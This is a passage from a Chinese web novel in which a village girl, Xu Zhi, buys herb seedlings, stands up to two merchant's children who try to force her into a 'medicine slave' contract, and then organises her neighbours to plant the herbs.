冯家姐妹两个不可思议的看着桌上的银票,谁也不敢先拿。 冯其时高兴的感谢许芷:“许姑娘谢谢你,我没想到你真的会买,我们俩培的少,好多人来的人一听,掉头就走。” 许芷听到没绕弯子,很直白的说出了原因。 “你们的价格比其他的低了些,药苗又好,我没理由不要。” 谈妥之后,许芷就打算回去了。 冯家姐妹两个高兴的送她好一段路,差点直接送她回客栈。 许芷到了客栈,见到小舅舅在自己的门外徘徊。 看到许芷回来,他紧皱的眉头瞬间舒展。 许芷走到面前,他板着脸训斥。 “你这丫头,不是说了不要出去,真是想出去也该叫着我,你不知道我醒来见你不在多担心,想着出去找,又怕你回来找不到我。” 许芷乖巧的听训,一点不顶嘴。 等着小舅舅将怒气混着关心都说了出来,平静了些她才开口道: “我就是听说南庄寨子这边有夜肆,好奇出去看看,我没事的舅舅,你快回去睡吧。” 邓耧子深深地叹了口气,无奈道:“你要是再出去,必须叫醒我一起。” 许芷连连保证一定会的,邓耧子这才放心的回了自己的房间。 这一夜,许芷睡得不错,醒来已经天光大亮。 她洗漱完打开门,舅舅已经在门外等着了。 他们吃了早饭,就往郭家去。 郭家因为药苗培的数量多,需要的地方大,所以离城里远些。 他们俩驾着马车走了快一个时辰,才走到了郭家的地方。 舅甥俩走进铺子,那些小厮看向他们,只是看了一眼,但并未上前问询。 许芷心中掠过一丝异样,总觉得能将生意做这么大的郭家,不该是这样的待客之道。 但她主要是来买药苗的,只要药苗不错,价钱合适就行。 正当她这么想着,一个穿着繁复华丽衣裙、满头珠钗的姑娘凑上来,笑着问道: “请问是来卖药苗的吗?” 许芷点了点头,昨日在冯家姐妹那边买的药苗根本不够。 那些个药苗一种差不多也就能种一亩地。 今日在郭家买的才是重头戏,所以她将自己需要的药苗都报了下。 价格昨日许芷已经了解过。 买完了冯家的药苗,她算过剩下的钱不仅够,还能余一些。 郭暮一听喜笑颜开,直接将二人引到了内间,噼里啪啦的算了一通,就要让她交钱。 许芷愣住,药苗还没看,怎么就直接交钱了? 她皱眉拒绝,开口要求:“我要先看过药苗才决定买不买。” 郭暮一听,笑容僵住,有些不悦道:“我可是这东家的女儿,还能坑你不成。” 许芷沉了沉脸色,要求必须看苗。 郭暮一听随意抓了个仆从小夏,让他带许芷一人去看苗。 邓耧子虽然不懂这些个,但是他不愿意让许芷一个人去看。 两个人待在一起,有些意外的情况总好过一个人。 舅甥俩跟着那仆从进了铺子后面的地里。 郭家不愧是大户,培药苗的田地一望无际。 药田旁边还有几间房子,说是仓房不够大,说是休息间却看着差了点。 第48章 店大欺客 正当许芷疑惑着房子的用途,突然一声惨叫从房子中传来。 把许芷和邓耧子吓了一跳。 反观小夏并无反应,还催促他们两个快走,别乱看。 许芷听着小夏的话,赶紧跟上。 但她使劲儿嗅了嗅,闻到了一丝不同寻常的味道。 她压下心中的怪异,先忙自己的事。 许芷看到走过的地方药苗都不错,邓耧子不懂就跟在许芷身后乱看,打发时间。 不过已经走过了几种许芷要的药苗,小夏都没有停下的意思。 许芷只当是大药苗商家规矩多,只让巡看,不让上手查看。 但她光是看也能看出好赖,果然是郭家,苗子就是好。 如此,她心想人家让自己直接付账,估计也是因为有底气吧。 只是越走越偏,明明许芷要的药苗都看了个大概,可小夏还是往前走着。 许芷不明白,直接问出了口。 前面的人却沉默着并不回答,许芷觉得不对劲。 刚想说不看了,她要回去。 小夏却停下了,指着前面的药苗跟她说:“这就是你要的药苗。” 许芷望过去,脸瞬间冷下来。 这里种的全都是最差的次等苗,应该是培苗时挑出来的差苗,完全没有买的必要。 这郭家是店大欺客? 许芷没有立即表现出来,她不能直接撕破脸了来,毕竟店大才能欺客。 而她只是个穷山村里的小丫头,直接撞上,吃亏的只会是她。 而是装作点点头认可的样子,假意看了看药苗,便要回去。 小夏虚假的笑意粘在面皮上,听到许芷要回去,“那姑娘看好了,就定下吧。” 许芷不慌不忙的说道:“回去再说。” 小夏笑容还在脸上,只是不满和轻蔑已经从眼底流露出来。 回去的时候,他故意撞了两人走在前面。 路过许芷的时候,低声咒骂了句:“穷酸货。” 许芷闻言锋利如剑的眼神射向他,小夏却没了刚刚那样子,还是那笑脸。 邓耧子跟在后面走,虽然不知道发生了什么,但察觉到了外甥女不对劲儿。 低声问:“小芷,咋了?” “舅舅,我们不在这家买药苗了,一会儿出去的时候你直接去赶马车过来,我跟这边的主家说一声。” 许芷总觉得心里不平,特意叮嘱舅舅。 邓耧子听到要跟许芷一起在这,万一发生了什么还能一起面对。 许芷叹了口气说:“舅舅,真要是这样咱俩不是一起面对,是让人家一网打尽,你就听我的吧。” 邓耧子很想说他怎么能留许芷一个人面对,可许芷这话不错。 让他留下也不现实,这些他都不懂,跟人家主家也说不着。 “那你小心点,有啥事先拖着,我去报官。” 邓耧子只能这样做,别无他法。 很快两人就又回到了铺子,邓耧子趁人不注意赶紧溜了出去。 许芷淡定的走到郭暮面前,道:“药苗不错,只是今日我想着先看看,并未带银子来,改日我定然带银子来买药苗。” 说完她要走,却被郭暮直接带人拦住了的去路。 “想走?看了苗你敢不要,可没这个规矩。” “请问哪里的规矩是看了苗必须买?” 许芷不恼,笑着反问。 郭暮趾高气扬道:“我们郭家的规矩就是如此!” 说着让身边的丫鬟将账房的账单拿来,放到许芷面前。 “这些药苗一共两千两,你若是不给你走不出这铺子一步。” 果然从她觉得怪异开始,注定今日来郭家这一趟不会顺利。 药苗不好,价钱是她提前打听的三倍不止。 好一个药苗大户郭家,竟是这么做生意的。 许芷面对这巨额账单和郭暮凌厉的样子,情绪并未牵动,反而平静的说道: “我说了,我不是不买,今日只是先看看,合适的话改日自会带银子上门。” 郭暮不屑一笑,用手帕捂了捂鼻子,嫌弃道: “你看看你这穷酸样,穿的比乞丐还差,还敢大言不惭的说来买药苗,简直是痴人说梦。” 许芷好笑道:“郭家决定卖不卖药苗便是看别人穿了什么吗?” “不然看什么?看你这张上不得台面的脸吗?” 郭暮嗤之以鼻,坐在了离许芷最远的凳子上,眼神投射过来,好像在看什么污秽一般。 “我警告你,趁本小姐心情好,你赶紧付钱,要不然你欠了我两千两银子,小心我给你发卖了。” 听到对方这狂妄无耻的话语,许芷只觉得大开眼界。 原是看了他们的穿着,看人下菜,看不起他们,故而拿差苗来敷衍和羞辱她。 她并未露出郭暮想看到的害怕神色,反而淡定的走上前坐在郭暮的对面,拿起了账单,冷静道: “这钱也不是不能拿,只是......” 郭暮只觉得她在说大话,笑的更古怪,“呦,你能拿的出两千两?就你穿的这破衣烂衫,连我一方手帕都比不上。” “我若拿不出,你又非要我拿,该如何?” 许芷问的样子看起来很诚心,似乎是真的妥协。 郭暮睨她一眼,捂嘴得意一笑。 “我不是说了,你若是拿不出欠我们的钱,便把你发卖了。 不过我料想你应当是不愿意的,不过我还有一法子,既不用卖你,也能让你还了这钱。 若是合适,家里人还能落一笔,简直是个稳赚不赔的买卖。” “是吗?那真是太好了,我家里穷得很,这次来就是想看看你们种了什么药苗,回去了我们也跟着种能赚些钱,没想到被你扣在这。 若有其他的法子,我自然是愿意的。” 许芷故作向往的胡说八道。 她总觉得郭暮后面要说的才是她真正的目的。 若真是看不起人,认为他们买不起。 那直接从一开始就把他们两个人轰出去,不接待就是。 哪有明知道对方买不起,还非要坑对方没有的钱。 除非她的目的不在此,而是另有所图。 毕竟人不可能在夏日非要看雪,明知不可能非要,不是有病就是醉翁之意不在酒。 许芷想到了昨晚那小厮醉酒后跟别人说的话,心中有了些猜测。 第49章 卖身药奴 郭暮见许芷真的想问,她就知道这种没见过世面的丫头吓一吓就六神无主,甚是好拿捏。 她突然笑的和善,只是这笑颜怎么看怎么吓人。 郭暮抓住许芷的手,一副为她好的样子。 “妹子你别急,我给你想的法子可是个顶好的,不仅不用你给钱,还有可能倒给你家人钱。” 说完,眼神示意身边的丫鬟出去叫人。 一会儿一位公子进来了,吊儿郎当的浪荡样,看的许芷犯恶心。 他走上前,故意嚣张的质问:“何人敢在我这里喧哗闹事?” 郭暮听到哥哥郭尊到了,立马换了张面皮。 委屈的跟郭尊告状: “哥哥这二人来买药苗,不仅使唤我带着他们看了好多圈,累的我脚都痛了,可我想着只要他们卖就值得。 谁知道都说定了要什么,临付账这丫头却说不要就不要了,还说咱们的苗差,说我坑她。” “什么?竟有此事!” 郭尊眼睛瞪着,跟牛眼一样,故意板着一张脸,企图压迫许芷。 许芷面不改色,看着他们两个人演。 “不过这位姑娘愿意将功补过,哥你看我们是否应当给这位姑娘一次机会呢?” 郭暮冲哥哥使了个意味深长的眼神,郭尊恍然,挑剔的眼神在许芷身上扫来扫去。 最后十分勉强的说道:“也算可以吧。” 说着冲身边的下人,抬了下下巴,屋内所有的下人都出去了。 只余三人后,郭暮拿出了一张纸放在了许芷面前。 许芷一看,那是一张卖身契,上面写着自愿当药奴,生死不论,死后会给家里几两银子。 本朝对药奴的监管非常严格,所有的药铺若是有药奴必须上报官府,药奴数量身份生平,需详细记录在册。 必须是自愿,并且是身体久抱恙的人才可以,这样也就导致了能做药奴的人少之又少。 但为了研究新方子,总是少不得需要人试药。 所以为了找到合适的药奴,这些研究方子的杏林圣手只得抬高价格。 有段时日竟发展为千金一求。 就算是如此也甚少有合适的。 做了药奴的人,死的时候大多因过度试药,身体残缺或皮肤腐烂。 更甚者,身上带了传染的疾病,必须火葬才可。 死无全尸是罪大恶极之人才会有的下场,这让一些穷苦人家宁愿穷着也不愿让孩子去当药奴。 许芷抬眼看向那恶鬼一般的兄妹俩。 想到她了解的郭家老东家郭少安可是出了名的仁商。 到底是虚名在外,还是这一双儿女养坏了。 不管是什么,总之敢违抗律法,用不正当手段豢养药奴,已是重罪。 此时许芷也明白了看到的屋子的用处,那可怕的叫声,还有空气中飘散的腐味,都昭示着那房子里到底有多么恶劣的勾当。 她将卖身契往前一推,沉声问道: “药奴必须是自愿且身体久抱恙者,很明显这两条我都不符合,你们这是打算倒行逆施?” “什么倒行逆施?你这不是自愿的吗?” 郭暮说的轻巧,又理所当然。 “是你自己付不起钱,所以自愿成为药奴,我不过是成全你而已。” 郭威跟着称赞自己的妹妹。 “暮儿一直都是这样一副为别人着想的乖顺模样,哥哥甚是欣慰。” 许芷没心情在这看他们两人的兄妹情深。 直言道:“若是今日你有其他的法子整我,我或许真可能折在这,可若是药奴,恕我难从。” “你敢违抗我!” 郭暮愤怒的看着许芷,从小到大她要什么想什么,都是别人弄好了放在她面前。 哪怕她跟哥哥做了些不好的事情,他们忌惮自己家里,也从未有人敢拒绝或捅出去。 倒是头一次有人拒绝自己。 许芷拿起桌子上的茶壶给自己倒了杯茶,一口喝下去,缓缓开口: “你们二人能在这铺子里横行,不过是仗着自己的身份,还有老东家出了远门而已,你们做的那些事真的敢让老东家知道吗?” 见提到老东家郭少安,郭暮的目光中少见的多了丝惧意。 许芷知道自己猜对了,这两人的行为都是背着老东家干的。 而郭威听到许芷提到自己的父亲,瞬间恼火:“你少提他来吓我,这卖身契今天你不签也得签!” 许芷嗤笑一声,脸上没有丝毫的害怕,将手中的茶杯放下,稳声道。 “我在进来之前托人在外面等着,若我一刻钟未出去,那人就会报官。” 看着兄妹俩脸上对于报官丝毫不怕的样子,她继续道。 “看你们俩这样子,应当也不是头一回这么做,官府也是应付过,定然不算怕。 只是我意外得知,令尊今日要回来,若是官府的人撞上你父亲,依照令尊那刚正不阿的性格,想必不等官府查,他也会主动配合彻查。” 许芷好整以暇的看着两人脸上变化的脸色,刺道:“令尊应当是个严父吧?” 说完她又给自己倒了杯茶,慢慢喝起来,等着这对兄妹开口。 “你就不怕我杀了你!” 郭威语气杀意四起。 许芷拿出了昨晚刚买的短刀,“嚓”一声抽出。 刀身的寒光让那兄妹俩轻颤一下。 “你说是你们叫人快,还是我的刀快?” 话音落下,刀跟着落在了桌上。 轻轻一划,桌布分裂开来。 三人正僵持着,突然门外一声怒吼。 “逆子!” 门被人从外面大力推开,郭少安怒气冲冲的闯了进来。 邓耧子跟在后面担忧的进来,跑到许芷面前,担心的问道:“没事吧小芷,他们没把你怎么样吧?” 许芷摇摇头,在郭暮企图销毁卖身契的时候,眼疾手快的拿了过来。 她站起身,将卖身契递给了老东家。 “郭员外,我是来买药苗的,也并未有疾,不知你们给我一张卖身契是何意思?” 郭员外一看这还有什么不明白的,他恼怒的看着这一双被妻子宠坏的儿女。 刚刚还嚣张至极的二人,这会儿低下头连看父亲都不敢看。 只是他要怎么收拾儿女,那是他的私事,他不可能当这外人的面做什么,家丑不可外扬。 所以他暂时收了怒气,和善的问过许芷要哪些草药。 第50章 照顾一二 问过之后,郭员外让自己身边的老翁带着许芷去看药苗,他价钱降四成卖给她。 许芷听闻没意见,她本就是为了药苗而来,若是低价拿更是可以。 当她跟着老翁出来,才看到了门外站着的宋清奕,他的身侧跟着三七。 宋清奕穿着冰蓝色对襟窄袖长衫,拿着折扇的那只手在胸前,轻轻敲打着肩膀。 手腕从袖子中露出,恰好能看到拿掉色的五彩绳。 宋清奕的面容是一如既往的温润,可并不看她,好似不认识一般。 而三七看到她又是担心又是激动。 “许姑娘,你没事吧,你舅舅说你被扣下了,可吓坏了我,还好郭员外回来的及时,要不然我也是要进去救你的。” 许芷对他感激一笑,“那我当谢谢你。” “谢什么呀,你日后再来用我们怀清堂的马车。” 三七说完,怕许芷不高兴劝说:“我们的马车可以租了,这是我们东家刚定的规矩,你为了安全也该租我们的马车。” 许芷笑了笑却没接话,只说自己要进去看药苗。 三七怕许芷年纪小不会看,也要跟着去看。 他讨好的看向宋清奕,等到宋清奕微微颔首,他高兴的陪着许芷一起去了。 这次许芷看到的药苗都是顶好的药苗,还这么便宜她没理由不要。 三七也认为这苗子不错,跟许芷说这苗子可以买。 看好又回到了铺子,许芷跟郭员外说了自己要的数量,算下来比自己预期几乎少花了一半的钱。 她高兴的定下,因为药苗太多,所以三天后由郭家专业送药苗的人送去。 郭员外还在许芷要的基础上,每样多送了几棵。 走的时候还亲自将许芷送到了门外,许芷颇有些受宠若惊。 心想怪不得说郭员外是仁商,虽是他的一双儿女做了错事。 可若是走到了今天这个地位,甚少有人会这样放低姿态。 “抱歉,许姑娘,这次是我们的不对,那不省心的儿女我会好好管教,只希望下一次你要是定药苗还能想到我们郭氏。” “那是自然,员外的药苗用心,不买说不过去。” 许芷客气的说着,同时委婉的提醒郭员外。 “郭员外,看您的药苗长得如此之好,我想到我自己种药苗,总是怕长得不好,简直呵护备至,可根却还总是烂,等我发现的时候,通常已经染了一片,真是溺爱害人啊。 不过幸而是我自己发现还能及时止损,可若是旁人,那我岂不大祸临头。” 郭员外听懂了许芷的弦外之音,叹了口气喃喃说道:“祸起萧墙啊。” 许芷提醒郭员外是有自己的私心,同时也有赌的成分在。 至于郭员外是怎么选的,她无从干涉,话反正提醒到了。 “那我便走了,郭员外。” 许芷上了车,跟舅舅离开。 离开前她掀开帘子,却看到铺子二楼待客雅间的宋清奕,他站在窗前背手而立,看向许芷这边的方向。 许芷对上他的眸子,立刻放下了帘子。 宋清奕看到许芷的行为,轻笑一声:“这丫头,气性不小。” “你说什么东家?” 三七好奇的也探出头往外看,马车已经走了,他什么都没看到。 宋清奕没回答三七,转身坐下,喝了口三七早就倒上的茶,此时刚好能入口。 敲门声响起,郭员外陪着笑进来。 “宋少爷,近日可好?” 宋清奕家中乃皇商,虽远离家里自己来了这开药铺,可是谁人敢不给他几分薄面。 “好,多谢员外挂念。” 宋清奕拿起茶壶给郭少安倒茶。 郭少安诚惶诚恐的拿起茶杯受着。 “郭员外,放下杯子,仔细烫着。” 他这人,谁见了都得赞一嘴谦谦裙子。 不管跟谁人说话,或是办事,永远温润如玉。 尽管这样,郭员外也没放下杯子。 倒完了茶水,宋清奕才继续温声道:“那位小娘子是我们铺子的,买药苗也是为了我们铺子自己供,所以日后见了烦请照顾一二。” 他这话说的客气非常,郭少安自然是满口答应。 “那是自然的,我这开门做生意,应当笑脸相迎。 随后我就吩咐下去,日后那位小娘子来,价格降两成,必然和气对待” 这态度很好,宋清奕无可指摘,快速谈了生意便离开了。 送走了人,郭员外笑意收起,立马去收拾自己的一双儿女。 这边许芷离开了郭家,立刻赶去冯其时姐妹俩的家。 她跟人说的是午时左右,这会儿已经过了午时了。 冯家跟这边又是相反的方向,赶过去起码得一个多时辰。 估计那两姐妹看到自己还没来,心里没底。 果然,冯家这边姐妹俩眼看过了午时,许芷没有来,脸上都挂上了忧愁神色。 冯时雨有些担忧的问姐姐:“许姑娘怎么还没来啊,她若是不来,那五十两定金怎么办?” 是的,她们俩忧愁的并不是许芷不要这些药苗,毕竟这样的事情她们已经经历了好多次。 但是这是头一次有人给了定金,若是许芷不来这钱她们拿着只觉烫手。 更也不知该去哪里寻了许芷,还钱给她。 冯其时也怕许芷不来,但她还是安慰妹妹说道:“人家既然给了定金,就一定会来,五十两可不是小数目,说不定被什么事情绊住了脚,再等等。” 这么说着,冯时雨只得强迫自己安定下来,帮忙做药膏。 只是毕竟年龄小些,不如姐姐稳重,眼睛时不时的瞟向外面。 等到两人都以为许芷不会来的时候,一辆马车停在了门外。 冯时雨第一个看到,她激动地喊道:“姐姐许姑娘来啦!” 说完,赶紧跑出去迎接。 许芷下了马车,第一时间先道歉:“实在对不住,我这边耽误了点时间,所以来晚了。” “无事无事,左右你付了定金,我可不怕你跑了。” 冯其时故意这样说玩笑话,不想让许芷太内疚。 “那是自然。”许芷道。 说话间,冯家姐妹将他们舅甥二人带到了放着药苗的地方。 而昨晚还在地里齐刷刷长的药苗,今天已经全部拔了出来,还都捆的整整齐齐,只用装车就好。 第51章 手炉面脂 许芷本来还想着今天到了,帮着一起弄,没想到全都弄好了。 冯时雨骄傲的说:“许姑娘,你看我们厉害吧,一晚上就都弄好,码的整整齐齐。” “你们竟整晚没睡,怪我不该说的时间太赶,应当多给你们一些时间准备。” 许芷诧异的说道。 “你别听小雨瞎说,我们就是昨晚忙了一会儿,今天早起又弄,哪有一晚上。” 冯其时调和的说着。 冯时雨也跟着附和:“没错,许姑娘,我说话总是夸张些。” 药苗一捆五十株,许芷点过没错,开始装车。 四个人装的快些,不到一个时辰就全部装了车。 装完,许芷把剩下的钱拿出来递给冯其时:“下一年你若是还种,我还买你的,只要你的苗子还跟今年一样好。” 冯时雨拿住钱,保证的说道:“许姑娘,你只管说你要什么苗子,我一定培出最好的苗子给你。” “那就这么说住了。”许芷笑道。 走之前,冯其时还送了许芷好多罐自己做的茶饮和膏药,还有一些自己做的零嘴。 “许姑娘,这些都是我们自己做的,你拿回去尝尝。” 许芷笑着收下了,“那我们便走了。” 冯其时看了看天色,已经不早了,便问道:“许姑娘可是今晚就要回去?” “是,想早日回家。” 许芷点头回道。 “夜里赶路不安全,许姑娘若是不嫌弃,不如今夜住在我家?” “这......” 许芷有些犹豫,若是只有她一人也能答应。 只是还有舅舅在,若是让人瞧见对她们姐妹俩不好。 故而她还是拒绝了。 “我们舅甥住你家里,只怕不方便,还是住客栈方便些,不过感谢你想着我们。” 冯其时一想确实,她的关心脱口而出,没有想那么多。 她讪讪一笑,“是我欠考虑了,那若是要走,便快些吧,赶在天黑之前进城。” 许芷告别了姐妹俩,跟舅舅再度上路了。 她说住客栈是托词,还是想连夜早点赶回去。 走到城里夜肆,许芷让舅舅把马车停一边,要逛一逛买些吃的。 祖母烙的饼差点没派上用场,今天从郭家出来,舅甥俩都饿得不行,才想起饼的事儿。 因为还有些饼子,许芷没买太多,就这会儿吃个热乎。 还买了一点南庄寨子这边的特色糕饼,回去了给大家分着吃。 又趁机买了点需要的东西,还给祖母和王茹娇都带了手信。 给祖母带的是一个手炉,还没到冬天,她摸到祖母的手都凉的不行。 到了冬天肯定更凉,买了手炉时常暖着会好些。 给王茹娇带了盒面脂,她之前没舍得买卖货郎的,如今许芷给她买了回来。 又在摊子上看到了厚厚的兔毛护膝,许芷说要给舅舅买一双。 邓耧子不要,“我大老爷们,血气方刚的,用不得这些。” “这是外甥女的心意,算是答谢你陪我跑这一趟。” 许芷说完不顾邓耧子的阻止,直接付钱买了。 邓耧子嘴上说着花这钱干啥浪费,实际上高兴的嘴角高高翘起。 买过东西,舅甥俩就又出发。 夜里邓耧子谨慎,不跑那么快,基本上天亮两个人才到家。 邓老太刚起来,正准备做饭,听到了马车的声音,转头一看高兴的赶紧上前去迎。 “小指儿。” “祖母,在家还好吗?” 许芷一下车就握住了祖母的手,两只手搓着祖母的手,让她暖和些。 “好,都好,怎么会不好。” 邓老太高兴的很,把儿子都给忘到了后面。 邓耧子故作不满:“娘的眼里只有小芷,看不到我这个亲儿子。” “你跟你亲外甥女争什么?” 邓老太回头虚打了一下儿子,扭头又亲热热的问许芷。 许芷将这两天的见闻都说给了祖母听,除了那些不好的事情。 听的祖母对那夜肆也神往不已。 许芷承诺下次若是可以带上祖母一起去。 邓老太今早高兴,做起饭嘴里都哼着曲儿。 昨天早上她一个人吃饭,都提不起劲儿做。 还是王三婶料到她一个人不想费事,给她带了个热饼子,才吃过早饭。 今早好了,她揉着面红光满面的。 要给许芷做她最喜欢吃的油酥饼,放油酥的时候,一改往日那不舍的样子,放了许多。 最先过来的是王三婶他们两口子,看到许芷回来,问了几嘴。 许芷拿出了买的糕饼给了他们一盒。 两口子没想到许芷会给带东西,惊喜的收下了。 张家兄弟俩来的时候,许芷让舅舅把糕饼给了二人,不说是她买的。 张立柱收下之后,眼睛总忍不住往许芷的身上看。 明明只是两天不见,他却觉得过了许久。 还是张铁牛察觉到耧子哥的脸色沉了下去,谢过耧子哥,赶紧将他哥拉走。 背过人他才开口劝道:“哥,婶子和耧子哥把小芷看的跟心尖肉一般,你就别想了。” 张立柱听到沉默不语,只是闷头干活。 看着亲哥这个样子,张铁牛叹了口气,也开始干活。 工人们来的时候,香气飘的满山坳都是,夸邓老太做饭手艺好。 邓老太笑着让他们,都吃过饭才来的,没人吃,只让他们一家人快吃饭。 三人吃着饭的时候,王茹娇过来了。 她高兴的坐到许芷的身旁:“小芷,你可回来了,你不知道我可想你了。” 许芷笑着拿了个酥饼递给她:“吃点?” 王茹娇吃过饭,但这酥饼太香了,她还是接住吃了一个。 吃过饭,许芷将买的手炉和面脂拿了出来。 “祖母,你手凉,我给你买了个手炉,你拿着暖和。” 邓老太听到喜笑颜开,赶紧接住。 王茹娇看着羡慕极了,直勾勾的看着:“这手炉可真好看。” 许芷看着她那渴望的眼神,笑出了声,拿着面脂放在了她的眼前。 “不用羡慕,你也有。” 王茹娇惊喜的“呀”一声,“这是啥呀?” “面脂,上次你没舍得买,这次我正好看到有,就买来送你。” 王茹娇幸福的傻笑着,将面脂打开深深地闻了一下。 “真香!” 第52章 开始种苗 随即她紧紧地抱住了许芷,蹭着肩膀对许芷表达自己的感谢。 “小芷,你怎么这么好呀!” “因为你对我也好。” 许芷笑着让她试试。 她用拇指轻轻沾了一点往脸上抹,因为沾的太少,没怎么抹就没了。 但王茹娇心花怒放,立刻要拿着面脂去给张铁牛看,炫耀够了才回来。 许芷把最后一盒糕饼也给了她。 “还有啊!” 王茹娇接住糕饼,迫不及待的打开吃了一个。 “真好吃。” “好吃就行,你带回家给你娘和哥嫂都分着吃。” 许芷看着王茹娇这么高兴,自己也开心。 王茹娇的高兴根本藏不住,当即就要回去跟家里人分享。 许芷知道她的性格,就由着她去了。 吃过饭,许芷他们抓紧时间卸药苗。 因为卸完药苗要赶紧种下,要不然容易缺水坏掉,只有许芷和祖母两个人肯定是种不完的。 所以王三叔和张家兄弟两个都停了工,紧着时间先卸苗、种药苗 今天邓耧子也歇着不干活,等一会儿卸完去城里还车。 邓老太看那药苗一捆也不多,想着一起去帮帮忙,但谁也不让她沾手。 无奈她坐在一旁歇着,吃着许芷带回来的零嘴。 还用许芷带回来的茶饮,给大家都冲了茶喝。 人多卸的快,半个时辰不到就全部卸完了。 卸完,邓耧子一个人赶着马车去城里还车。 种药苗的土最好是深耕细耙过,还好现在地里刚种过一波粮食,他们的土地都翻过。 而且这边翻过土地都会趁着秋天,弄许多的落叶洒在地里沤肥。 这给种草药创下了很好的条件。 看着摆好的药苗,许芷先教大家认了认这都是什么苗子。 除了辛夷和金银花是在郭家买的,剩下的六种药苗,许芷都买回来了。 让他们认过,许芷也简单的讲了下这些药苗的习性和药效。 接下来最重要的就是这些药苗分配的问题。 除了金银花和辛夷这两种,许芷各自只买了一亩的量,其他的都是买了四亩地的量,正好将所有的地都平分。 所以金银花和辛夷这两种她想直接种到山坳这两亩地就行。 另外因为张立柱他们的十亩地和王三叔他们的六亩地是挨在一起的,可以合并种成四种药材。 剩下王茹娇的地就种两种,这样就把所有的地都分完了。 毕竟药苗还是都种在一起更好,方便照顾和打理。 许芷将自己的分地打算说了出来,问大家有没有什么意见。 众人听了只说行,毕竟种药苗这事情大家都第一次干,也没经验,只能听着许芷说什么是什么。 看到大家这么信任自己,许芷只觉得自己责任重大。 “那就先这么定下,娇娇的八亩地种蓝实和红花,三爷爷家的六亩地,四亩种半夏,剩下的两亩和张叔家的两亩合在一起种连翘,最后剩下的八亩地种柴胡和甘草。 等一会儿种的时候我会再教大家如何种,种完之后我也会给大家详细说要怎么顾药苗。” 既然说好了,大家马不停蹄的去地里,将这些药苗都种下。 许芷他们决定也不分是谁家的地,都一起帮忙一起种。 这样合起来人多力量大,种的快。 王茹娇还叫上了自己嫂子一起来。 他们一人背了一个大竹筐,里面装上今天要种的苗浩浩荡荡的往地里去。 村里的地基本都在一块,所以好多在地里干活的人,看到许芷他们不种粮食种药草的行为,甚是不屑。 “许丫头这是干啥呀?” 等到许芷走到了自家的地头,李家大娘明知故问道。 里正早就将自己租地种草药的事情说了出去,也正如里正所预料的,确实无人来找她。 所以许芷知道对方是故意问的,不想跟她们多说什么。 故而只含糊的说道:“种地。” 等到她们走了,那李家大娘很是不屑,跟旁边地里的人讥讽道: “这许丫头是给王家和张家灌了什么迷魂汤,自己胡闹就算了,怎么他们也跟着乱来。” “那谁知道呢?反正我等着他们明年没粮吃来我家门上要饭吃。” 那人说的幸灾乐祸,一番话惹得两人都笑的发颤。 仿佛已经看到了这几家的凄凉光景。 完全忘了他们前一段时日,看到许芷都能盖得起房子,也都屁颠颠的上山找什么药草。 可惜他们并不懂,上山转悠也是瞎转悠。 正好,王素娟扛着锄头经过两人。 李家大娘叫住了她:“我说素娟儿啊,你不管管你那外甥女,竟然不种粮食种什么草,还带着王家和张家一起,到时候要是那两家赚不到钱,找上门了看你咋办。” 王素娟闻言“嘁”一声,阴阳怪气道:“前两日你们还说那丫头跟我们断了,这么快就忘了?” 李家大娘瞬间哽住,前些日子就数她嘲笑王素娟嘲笑的欢,自然听得懂王素娟的意思。 她尴尬的笑笑,底气不足的说道:“那我这不是为了给你提个醒儿,真是好人难当。” 说完,不去看王素娟,忙起了地里头的活。 王素娟听她这虚情假意的关心,“呸”一声,扛着锄头赶紧去了地里头。 这边许芷他们到了王茹娇的八亩地。 先种的是蓝实。 许芷拿起一捆蓝实苗解开,拿出了两株。 先给他们说种的要求。 “蓝实苗一窝种两株,两窝之间距离小大概三指,但是两行间距离一臂,其他的没什么,这个好种。” 许芷说完,跟祖母两个人搭配着,先示范了几窝。 大家看了差不多就立刻上手了。 两人合作种,一人刨窝一人栽苗。 八个人一亩地,从地的四个角开始很快就干起来。 因着在冯家姐妹那买的药苗本就少,这些蓝实苗也就一亩的量。 半个时辰不到就把蓝实那一亩种完了,剩下的三亩地等到郭家的药苗到了再种。 许芷带着一半的人回去拿其他的药材,这次拿来的是红花。 许芷同样是先教他们怎么种。 “红花一窝一株,两株之间距离将近一尺,两行之间半臂长。” 同样也是她先上手种了几株,大家看了看就开始自己种。 也是半个时辰,红花就种完了。 这一上午就算过去了,因为要回去做饭,许芷他们决定吃过饭下午再继续种。 第53章 五两银子 回到家邓老太开始准备中饭。 男的都又去做工,虽然没工钱,但是他们已经把许芷一家当成了自家人,自家人盖房自然要帮忙。 女的都一起做饭,洗菜的洗菜,切菜的切菜,揉面的揉面。 王老太看着儿媳妇和女儿一上午不回来,心里也惦记,本来要去地里看看情况。 却听别人说她们已经回来了,她只好来山坳看看。 看到她来,邓老太热情的招呼她。 “王家姐姐,快来坐着吃茶。” 王老太客气又疏离的笑笑,坐在了桌边,看着忙碌做饭的和那些做工盖房子的,觉得好不热闹。 邓老太给她冲了碗乌梅山楂饮,又拿了许芷买回来的糕饼和零嘴。 “王家姐姐,你先吃着打发时间,等会儿做好饭也来一碗。” 王老太被这热情打动了些,脸上的笑容都多了些真情实感,“哎”一声应下。 刚开始做饭,邓耧子就回来了。 还带回来了十斤猪肉,这是许芷给钱让他买的,寻思着这几天辛苦给大家做点好的。 邓老太笑眯眯的看着五花三层的肉,刨了几窝刚下来的土豆,两样炖在了一起。 用瓠瓜、豆腐、蒜薹和土豆切成丁,炒了一大锅的素杂酱,用来配手擀面。 又蒸了点米饭,主要是给许芷做的。 炒了个鸡蛋和青菜配米饭,加上土豆炖肉,也是颇为丰盛。 一个时辰后,所有菜都做好了,开始吃饭。 吃面的每人捞半碗面,浇上一大勺素杂酱和一勺土豆炖肉,就满满当当一碗。 工人们看着这么好的饭,忍不住道:“耧子,你们家以后再盖房子哪怕不给工钱,冲着这饭我也来干。” 邓耧子笑道:“那可说好了,我要是盖房子娶媳妇儿,兄弟几个都得来啊,不要工钱那种。” “成!” 大家答应的甚是爽快,气氛融洽至极。 王老太分了一小碗面,她这坐了一上午本就不饿,还吃吃喝喝。 本都不打算吃,架不住人太热情,她只好接住。 许芷、王茹娇和徐青云三人吃的米饭。 王茹娇就坐在母亲身边,正吃得香听得母亲幽幽来了句。 “怨不得你整日往这边跑,感情吃得这般好。” 王茹娇笑的眼睛都看不见,夹了一块偏肥的肉给母亲吃。 “这块肉好嚼,娘你快尝尝。” “小丫头片子,学会堵你娘的嘴了。” 话是这般说,可眼神里对女儿宠溺只增不减。 下午几人又开始种药苗,这次去的是王三叔家的地。 